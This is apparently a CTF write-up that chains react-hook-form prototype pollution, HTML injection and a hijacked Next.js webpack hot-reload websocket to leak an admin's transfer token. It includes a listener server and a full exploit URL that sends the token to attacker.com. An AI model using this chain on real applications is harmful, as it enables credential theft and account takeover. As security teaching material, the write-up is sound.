-
vulnerable version of react-hook-form (v7.51.4) used which allows for prototype pollution (
/transfer?message.__proto__.x=1
) -
pollute
defaultProps
React gadget to put arbitrary attributes on elements (https://cor.team/posts/redpwnctf-2021-web-challenges/#mdbin:~:text=defaultProps) -
pollute
__proto__.defaultProps.dangerouslySetInnerHTML.__html
to HTML payload, pollute__proto__.cache=only-if-cached
to make the fetch fail so the page doesn't change afterwards. now, when we submit the transfer (&autosubmit=1
), we see our HTML loaded. -
now that we have arbitrary HTML injection, there's still not much we can do. if we could leak the admin's transfer token, we could steal all of their balance. but that page only loads via fetch. but since we have HTML injection, we can try the modernblog exploit path and load another nextjs app inside of the nextjs app, in an iframe srcdoc.
-
this doesn't really work, since the app immediately dies when trying to push to
history
(since we're in a srcdoc) . reading the next code, there's not much that we can do. it looks like we can set some data in the__NEXT_DATA__
application/json<script>
tag. we could specify some JS to load, but the CSP blocks us here. however, one interesting idea is that we can hijack the webpack hot module reloader by setting theassetPrefix
field. -
setting this field makes webpack connect via websocket to
${assetPrefix}/_next/webpack-hmr
. this doesn't look like it lets us do anything, since we still can't load arbitrary JavaScript because of the CSP. -
but actually, if you read the hot module code, you'll see that it sends lots of messages from the client to the websocket. some are performance stats, some are query parameters, but the most interesting thing that it does is send stack traces of any errors that happen when hot module reloading (https://github.com/vercel/next.js/blob/0090faa25319d47654af5173ac0a0c2c21dda235/packages/next/src/client/components/react-dev-overlay/pages/hot-reloader-client.ts#L499)
-
so if we send some hot module actions, it will try to perform them. we can try to get an error to occur to leak some data. one hot module routine that happens is to read the
.json
manifest to check for updates. (https://github.com/vercel/next.js/blob/0090faa25319d47654af5173ac0a0c2c21dda235/packages/next/src/client/page-loader.ts#L108). -
if we can somehow point this to
/api/user/token
, it makes a fetch request there. then, when it tries to dores.json()
, that fails since none of the api responses are json. then, since that failed, it will send the error message to our WebSocket, which would leak the transfer token. -
the issue is that the fetch happens to
${this.assetPrefix}/_next/static/${this.buildId}/${TURBOPACK_CLIENT_MIDDLEWARE_MANIFEST}
. we controlassetPrefix
andbuildId
, butassetPrefix
needs to point to our own external website so that we can get the websocket connection. if this is the case, then when it does the fetch it will always try to fetch from our external website. -
we can try redirecting
/_next/static/development/_devMiddlewareManifest.json
on our site tohttp://localhost:3000/api/user/token
, but this doesnt work because of CORS -
so we need to find a way to have
assetPrefix
point to both our webpack hot module controller, as well as the challenge instance itself. luckily, the way they generate the websocket URL fromassetPrefix
is wacky: https://github.com/vercel/next.js/blob/main/packages/next/src/client/components/react-dev-overlay/pages/websocket.ts#L73
if (assetPrefix.startsWith('http')) {
url = `${protocol}://${assetPrefix.split('://', 2)[1]}`
}
this attempts to see if assetPrefix
isn't relative. if it isn't, it changes the protocol (http -> ws, https -> wss), and generates a new url. this doesn't actually check if its relative though, just checking if it begins with http. so, if we use an asset prefix like this: httplol/://attacker.com://../../../../../api/user/token?
, the WebSocket url becomes wss://attacker.com
. but, the fetch in step 9 then points to
/httplol/://attacker.com://../../../../../api/user/token?/_next/static/development/_devMiddlewareManifest.json
. the path traversal here means that the page actually requested is /api/user/token
, which is exactly what we want!
- now, we set up the hmr websocket server:
const express = require('express');
const app = express();
const expressWs = require('express-ws')(app);
app.use(function (req, res, next) {
console.log(req.originalUrl);
res.setHeader("Access-Control-Allow-Origin", "*");
return next();
});
app.ws('/_next/webpack-hmr', function(ws, req) {
ws.on('message', function(msg) {
console.log('recv', msg);
});
console.log('connected');
setInterval(() => {
if (ws) {}
ws.send(`{"action":"sync","hash":"fffffffffffff","errors":[],"warnings":[],"versionInfo":{"staleness":"stale-patch","expected":"14.2.4","installed":"14.2.3"}}`);
}, 50);
});
app.listen(12345, () => console.log("help"));
- when the client connects to us via ws, we send an action which causes the manifest pointing to
/api/user/token
to be fetched, and since it's not json, it forwards us the error:
{"event":"client-full-reload","stackTrace":"SyntaxError: Unexpected token 'D', \"DtnMPwvF0B0\" is not valid JSON","hadRuntimeError":false}
(note: this only works if the transfer token begins with a letter. if not, you would need to restart the instance to have the admin generate a new token)
- with the leaked transfer token, we can now just send another url which automatically transfers the admin's balance to us to get the flag! exploit payload:
console.log(location.origin+`/transfer?message.__proto__.cache=only-if-cached&message.__proto__.defaultProps.dangerouslySetInnerHTML=&message.__proto__.defaultProps.dangerouslySetInnerHTML.__html=${encodeURIComponent(`
<iframe srcdoc='`+`
<!DOCTYPE html><html lang="en"><head><script defer="" nomodule="" src="/_next/static/chunks/polyfills.js"></script><script src="/_next/static/chunks/webpack.js" defer=""></script><script src="/_next/static/chunks/main.js" defer=""></script><script src="/_next/static/chunks/pages/_app.js" defer=""></script><script src="/_next/static/chunks/pages/index.js" defer=""></script><script src="/_next/static/development/_buildManifest.js" defer=""></script><script src="/_next/static/development/_ssgManifest.js" defer=""></script></head><body><div id="__next"></div><script src="/_next/static/chunks/react-refresh.js"></script><script id="__NEXT_DATA__" type="application/json">{"props":{"pageProps":{}},"page":"/","query":{},"buildId":"development","nextExport":true,"autoExport":true,"isFallback":false,"scriptLoader":[],"assetPrefix":"httplol/://attacker.com://../../../../../api/user/token?"}</script></body></html>`.replaceAll(`'`, `'`)+`
'></iframe>
`)}&autosubmit=1`)